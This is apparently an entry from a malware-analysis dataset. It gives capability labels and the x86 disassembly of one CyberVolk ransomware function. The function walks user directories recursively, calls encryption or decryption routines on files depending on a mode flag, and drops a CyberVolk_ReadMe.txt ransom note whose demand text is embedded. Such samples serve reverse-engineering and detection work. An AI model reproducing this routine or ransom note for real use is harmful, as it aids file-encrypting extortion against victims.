Function at 0x422180
Capabilities:
Enumerate files on windows
Enumerate files recursively
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ac4
call fcn.004195a0
push ebx
mov eax, edx
mov ebx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
push esi
push edi
cmp ax, 0x65
jne 0x4221ad
cmp byte [0x42c918], 0
je 0x42263d
push 0x1450
lea eax, [ebp - 0x1ac0]
push 0
push eax
call fcn.004023f0
mov eax, dword [0x429068]
mov ecx, ebx
mov dword [ebp - 0x10], eax
add esp, 0xc
mov ax, word [0x42906c]
mov word [ebp - 0xc], ax
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4221e0
sub ecx, edx
sar ecx, 1
cmp ecx, 0x30c
ja 0x42263d
push 0x104
lea eax, [ebp - 0x670]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [ebp - 0x670]
mov esi, eax
lea ecx, [eax - 0x61]
lea eax, [esi - 0x20]
cmp cx, 0x19
movzx edx, ax
mov ecx, esi
mov eax, esi
cmova edx, eax
movzx eax, word [ebx]
movzx edi, dx
mov edx, eax
add eax, 0xffffff9f
movzx ebx, ax
cmp ax, 0x19
mov eax, esi
jbe 0x422240
movzx esi, ax
cmp ebx, 0x19
lea eax, [edx - 0x20]
movzx ecx, ax
mov eax, edx
cmova ecx, eax
cmp di, cx
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
jne 0x4222ee
push str.Users
push esi
lea eax, [ebp - 0x468]
push str._c:_s
push eax
call edi
mov ebx, dword [ebp - 4]
add esp, 0x10
movzx eax, word [ebx]
mov esi, eax
mov ecx, eax
add ecx, 0xffffff9f
cmp cx, 0x19
lea eax, [esi - 0x20]
movzx edx, ax
mov eax, esi
cmova edx, eax
movzx eax, word [ebp - 0x468]
mov ecx, eax
mov word [ebx], dx
lea edx, [eax - 0x61]
lea eax, [ecx - 0x20]
cmp dx, 0x19
movzx esi, ax
mov eax, ecx
mov ecx, ebx
cmova esi, eax
mov word [ebp - 0x468], si
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4222c0
sub ecx, edx
sar ecx, 1
cmp ecx, 3
jbe 0x4222f1
lea eax, [ebp - 0x468]
push eax
push ebx
call fcn.00401dbc
add esp, 8
test eax, eax
je 0x42263d
jmp 0x4222f1
mov ebx, dword [ebp - 4]
push ebx
lea eax, [ebp - 0x1ac0]
push str._s.
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x1ac0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x42263d
mov ecx, dword [ebp - 0x670]
lea eax, [ecx - 0x61]
cmp ax, 0x19
ja 0x42233a
lea eax, [ecx - 0x20]
movzx edi, ax
jmp 0x42233d
movzx edi, cx
movzx eax, word [ebx]
mov esi, eax
mov ecx, eax
add ecx, 0xffffff9f
cmp cx, 0x19
lea eax, [esi - 0x20]
movzx edx, ax
mov eax, esi
cmova edx, eax
cmp di, dx
mov edx, dword [ebp - 0x260]
jne 0x42236a
cmp edx, 2
je 0x42256b
lea eax, [ebp - 0x234]
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x422373
sub eax, esi
sar eax, 1
cmp eax, 0xff
ja 0x42256b
cmp edx, 4
je 0x42256b
cmp edx, 0x10000
je 0x42256b
test dl, 0x10
je 0x422488
lea ecx, [ebp - 0xe]
lea eax, [ebp - 0x234]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4223da
test dx, dx
je 0x4223d6
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4223da
add eax, 4
add ecx, 4
test dx, dx
jne 0x4223b4
xor eax, eax
jmp 0x4223df
sbb eax, eax
or eax, 1
test eax, eax
je 0x42256b
lea ecx, [ebp - 0x10]
lea eax, [ebp - 0x234]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x422416
test dx, dx
je 0x422412
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x422416
add eax, 4
add ecx, 4
test dx, dx
jne 0x4223f0
xor eax, eax
jmp 0x42241b
sbb eax, eax
or eax, 1
test eax, eax
je 0x42256b
xor eax, eax
push ebx
mov word [ebp - 0x1ac0], ax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
add esp, 0xc
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
add esp, 0xc
lea eax, [ebp - 0x1ac0]
push 0x429098
push 0x30c
push eax
call fcn.0040987c
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x1ac0]
add esp, 0xc
call fcn.00422180
jmp 0x422563
xor eax, eax
push ebx
mov word [ebp - 0x1ac0], ax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
add esp, 0xc
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
mov eax, dword [ebp - 8]
add esp, 0xc
cmp ax, 0x65
jne 0x422523
lea eax, [ebp - 0x1ac0]
push 0x428d2c
push eax
call fcn.00401dbc
add esp, 8
test eax, eax
jne 0x422563
lea eax, [ebp - 0x1ac0]
push str.CyberVolk_ReadMe.txt
push eax
call fcn.00401dbc
add esp, 8
test eax, eax
jne 0x422563
push ecx
lea ecx, [ebp - 0x1ac0]
call fcn.0041b5a0
add esp, 4
lea eax, [ebp - 0x1ac0]
push eax
push 0x42909c
call fcn.00401040
add esp, 8
jmp 0x422563
cmp ax, 0x64
jne 0x422563
lea eax, [ebp - 0x1ac0]
push 0x428d2c
push eax
call fcn.00401dbc
add esp, 8
test eax, eax
je 0x422563
sub esp, 0x18
lea ecx, [ebp - 0x1ac0]
call fcn.0041b080
lea eax, [ebp - 0x1ac0]
push eax
push str.Decrypting_File_:__s_n
call fcn.00401040
add esp, 0x20
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x260]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x422323
push ebx
mov word [ebp - 0x1ac0], ax
lea eax, [ebp - 0x1ac0]
push 0x30c
push eax
call fcn.0040987c
add esp, 0xc
lea eax, [ebp - 0x1ac0]
push str.CyberVolk_ReadMe.txt
push 0x30c
push eax
call fcn.0040987c
mov eax, dword [ebp - 8]
add esp, 0xc
cmp ax, 0x65
jne 0x42261f
lea eax, [ebp - 0x1ac0]
push 0x4290f4
push eax
call fcn.0040b9fc
mov edi, eax
add esp, 8
test edi, edi
je 0x422634
xor esi, esi
nop dword [eax]
cmp byte [esi + str.Greetings._n_All_your_files_have_been_encrypted_by_CyberVolk_ransomware._n_Please_never_try_to_recover_your_files_without_decryption_key_which_I_give_you_after_pay.__nThey_could_be_disappeared], 0
lea ecx, [esi + str.Greetings._n_All_your_files_have_been_encrypted_by_CyberVolk_ransomware._n_Please_never_try_to_recover_your_files_without_decryption_key_which_I_give_you_after_pay.__nThey_could_be_disappeared]
je 0x422606
push edi
push 1
push 1
push ecx
call fcn.0040bf8b
inc esi
add esp, 0x10
cmp esi, 0x800
jl 0x4225e0
push edi
call fcn.0040bb4f
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ax, 0x64
jne 0x422634
lea eax, [ebp - 0x1ac0]
push eax
call fcn.00404b08
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret